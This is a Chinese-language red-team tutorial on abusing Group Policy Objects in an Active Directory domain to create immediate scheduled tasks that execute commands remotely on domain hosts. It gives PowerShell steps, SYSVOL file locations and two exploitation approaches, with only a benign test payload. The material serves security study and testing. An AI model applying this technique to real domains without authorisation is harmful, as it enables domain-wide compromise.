域渗透——利用GPO中的计划任务实现远程执行

栏目: 服务器 · 发布时间: 5年前

内容简介:在之前的文章本文将要介绍以下内容:· GPO中的计划任务简介

0x00 前言

在之前的文章 《渗透基础——Windows下计划任务的使用》 曾介绍过计划任务的用法。而在域环境中,通过组策略(Group Policy Object)同样能够实现计划任务的远程执行,本文将要对这个方法进行介绍,分析利用思路。

0x01 简介

本文将要介绍以下内容:

· GPO中的计划任务简介

· 通过Group Policy Management Console (GPMC) 实现计划任务的远程执行

· 通过命令行实现计划任务的远程执行

· 新建GPO实现远程执行

· 修改已有的GPO,实现远程执行

·GPO的常用操作

0x02 简介

值得阅读的资料:

http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/

https://adsecurity.org/?p=2716

http://www.sicherheitsforschung-magdeburg.de/uploads/journal/MJS_052_Willi_GPO.pdf

GPO全称Group Policy Objects,用来存储Active Directory中的策略。

自Windows Server 2008开始,GPO开始支持计划任务,便于管理域中的计算机和用户。

默认情况下,域用户的组策略每90分钟更新,随机偏移为0-30分钟,域控制器的组策略每5分钟更新。

注:可通过命令实现组策略的强制更新。

默认组策略的保存位置:\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\,所有域内主机都能访问。

注:之前的文章 《域渗透-利用SYSVOL还原组策略中保存的密码》 曾介绍过这个文件位置。

默认存在两个组策略,每个文件夹对应一个组策略:

·{6AC1786C-016F-11D2-945F-00C04fB984F9}对应Default Domain Controllers Policy

· {31B2F340-016D-11D2-945F-00C04FB984F9}对应Default Domain Policy

如下图:

域渗透——利用GPO中的计划任务实现远程执行

0x03 通过Group Policy Management Console (GPMC) 实现计划任务的远程执行

在域控制器上,位置: Administrative Tools -> Group Policy Management

如下图:

域渗透——利用GPO中的计划任务实现远程执行

选择域test.local,右键,选中第一个,创建GPO,如下图:

域渗透——利用GPO中的计划任务实现远程执行

输入名称TestGPO1,这会创建一个全局的GPO,作用于所有域用户。

选择TestGPO1,右键,Edit…

User Configuration -> Preferences -> Control Panel Settings -> Scheduled Tasks

New -> Immediate Task(Windows Vista and later),如下图:

域渗透——利用GPO中的计划任务实现远程执行

注:Immediate Task会在每次组策略刷新时执行。

四种计划任务的区别可参考官方文档:

https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc770904(v%3Dws.11)

注:也可以选择位置Computer Configuration -> Preferences -> Control Panel Settings -> Scheduled Tasks

接下来,根据提示设置计划任务即可。

为便于测试,执行的操作为将执行结果输出到文件,如下图:

域渗透——利用GPO中的计划任务实现远程执行

这个组策略对应的ID为{7D85A2EF-F525-4D8C-B12D-F2825F3A1224},在位置\\test.com\SYSVOL\test.com\Policies\{7D85A2EF-F525-4D8C-B12D-F2825F3A1224}\User\Preferences\ScheduledTasks下找到文件ScheduledTasks.xml,里面保存计划任务的配置信息。

对于域内的主机,可以等待90分钟使组策略自动更新,也可以在客户端执行如下命令强制刷新组策略:

gpupdate /force

客户端默认更新组策略的方式:

读取域共享目录中组策略的版本,位置为\\<domain.com>\Policies\<gpo id>\GPT.ini,如果版本高于本地保存的组策略版本,客户端将会更新本地的组策略。

每次修改组策略,\\<domain.com>\Policies\<gpo id>\GPT.ini中的Version会增加。

0x04 通过命令行实现计划任务的远程执行

域控制器系统: Windows Server 2012 R2 x64 域名: test.com

1、创建一个GPO

New-GPO -Name TestGPO1

2、 将GPO连到到域test.com

New-GPLink -Name TestGPO1 -Target "dc=test,dc=com"

注:两条命令可以简写为一条命令:

new-gpo -name TestGPO1 | new-gplink -Target "dc=test,dc=com"

通过命令行回显获得ID为0bfd3f0c-21a1-4eca-8a5e-1f0bd4dc64dc

3、创建计划任务

经过测试,没有找到创建计划任务的接口,直接在对应路径下创建文件即可。

创建文件夹\\test.com\SYSVOL\test.com\Policies\{0bfd3f0c-21a1-4eca-8a5e-1f0bd4dc64dc}\User\Preferences\ScheduledTasks

按照xml格式,创建文件ScheduledTasks.xml

注:为便于测试,可直接使用0x03中的ScheduledTasks.xml

也可以使用harmj0y开源的powershell脚本,地址如下:

https://github.com/PowerShellMafia/PowerSploit/blob/26a0757612e5654b4f792b012ab8f10f95d391c9/Recon/PowerView.ps1#L5907-L6122

为了在我的测试环境使用,我做了一些小的更改,将运行方式由Run whether user is logged on or not修改为Run only when user is logged on,修改后的脚本地址如下:

https://github.com/3gstudent/Homework-of-Powershell/blob/master/New-GPOImmediateTask(a little change).ps1

powershell的命令为:

New-GPOImmediateTask -TaskName Debugging -GPODisplayName TestGPO1 -CommandArguments '-c "123 | Out-File C:\test\debug.txt"' -Force

4、强制客户端刷新组策略

Invoke-GPUpdate -Computer "TEST\COMPUTER-01"

注:Windows Server 2008 R2默认不支持该命令,Windows Server 2012支持。

客户端的防火墙需要允许以下连接:

·Remote Scheduled Tasks Management (RPC)

·Remote Scheduled Tasks Management (RPC-ERMAP)

·Windows Management Instrumentation (WMI-IN)

官方资料:

https://docs.microsoft.com/en-us/powershell/module/grouppolicy/invoke-gpupdate?view=win10-ps

5、删除GPO

Remove-GPO -Name TestGPO1

注:通过Group Policy Management Console (GPMC)右键删除GPO不会删除对应的文件夹,Remove-GPO可以。

0x05 利用思路

前提是获得了域管理员的权限或者某个组策略的编辑权限。

通用操作如下:

加载GroupPolicy模块:

Import-Module GroupPolicy –verbose

获得所有GPO的内容:

Get-GPO -All

将所有GPO导出为一个HTML报告:

Get-GPOReport -All -ReportType html -Path C:\GposReport\GposReport.html

将每个GPO单独导出一个HTML报告:

Get-GPO -All | %{
Get-GPOReport -name $_.displayname -ReportType html -path ("c:\GPOReports\"+$_.displayname+".html")
}

查看指定GPO的权限设置:

Get-GPPermission -Name "TestGPO1" -All

备份指定GPO:

Backup-Gpo -Name TestGPO1 -Path C:\GpoBackups

备份所有GPO:

Backup-Gpo -All -Path "c:\GpoBackups"

还原指定GPO:

Restore-GPO -Name TestGPO1 -Path C:\GpoBackups

还原所有GPO:

Restore-GPO -All -Path "c:\GpoBackups"

根据不同情况,有以下两种利用思路:

1、新建组策略,创建计划任务实现远程执行

创建:

New-GPLink -Name TestGPO1 -Target "dc=test,dc=com"

添加计划任务:

New-GPOImmediateTask -TaskName Debugging -GPODisplayName TestGPO1 -CommandArguments '-c "123 | Out-File C:\test\debug.txt"' -Force

强制客户端刷新组策略:

Invoke-GPUpdate -Computer "TEST\COMPUTER-01"

删除GPO

Remove-GPO -Name TestGPO1

2、修改已有组策略,创建或者替换计划任务

创建计划任务:

创建文件ScheduledTasks.xml

删除GPO中的计划任务:

删除文件ScheduledTasks.xml

0x06 GPO的常用操作

创建OU:

New-ADOrganizationalUnit -Name OUTest1 -Path "dc=test,dc=com"

查看当前域中的所有计算机:

dsquery computer

获得结果"CN=Computer1,CN=Computers,DC=test,DC=com"

将该计算机加到OU=OUTest1中:

dsmove "CN=Computer1,CN=Computers,DC=test,DC=com" -newparent OU=OUTest1,dc=test,dc=com

查询OU=OUTest1中的计算机:

dsquery computer OU=OUTest1,dc=test,dc=com

创建GPO并连接:

new-gpo -name TestGPO | new-gplink -Target "OU=OUTest1,dc=test,dc=com"

还原:

将计算机Computer1从OU=OUTest1中移除

dsmove "CN=Computer1,OU=OUTest1,DC=test,DC=com" -newparent CN=Computers,dc=test,dc=com

删除OU=OUTest1:

set-ADOrganizationalUnit -Identity "OU=OUTest1,dc=test,dc=com" -ProtectedFromAccidentalDeletion $false
Remove-ADOrganizationalUnit -Identity "OU=OUTest1,dc=test,dc=com" -Recursive -Confirm:$False

0x07 小结

本文介绍了利用GPO中的计划任务实现远程执行的方法,分析利用思路,通过命令行实现了GPO和计划任务的创建、修改和删除。


以上所述就是小编给大家介绍的《域渗透——利用GPO中的计划任务实现远程执行》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

The Art of Computer Programming, Volume 2

The Art of Computer Programming, Volume 2

Knuth, Donald E. / Addison-Wesley Professional / 1997-11-04 / USD 79.99

Finally, after a wait of more than thirty-five years, the first part of Volume 4 is at last ready for publication. Check out the boxed set that brings together Volumes 1 - 4A in one elegant case, and ......一起来看看 《The Art of Computer Programming, Volume 2》 这本书的介绍吧!

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具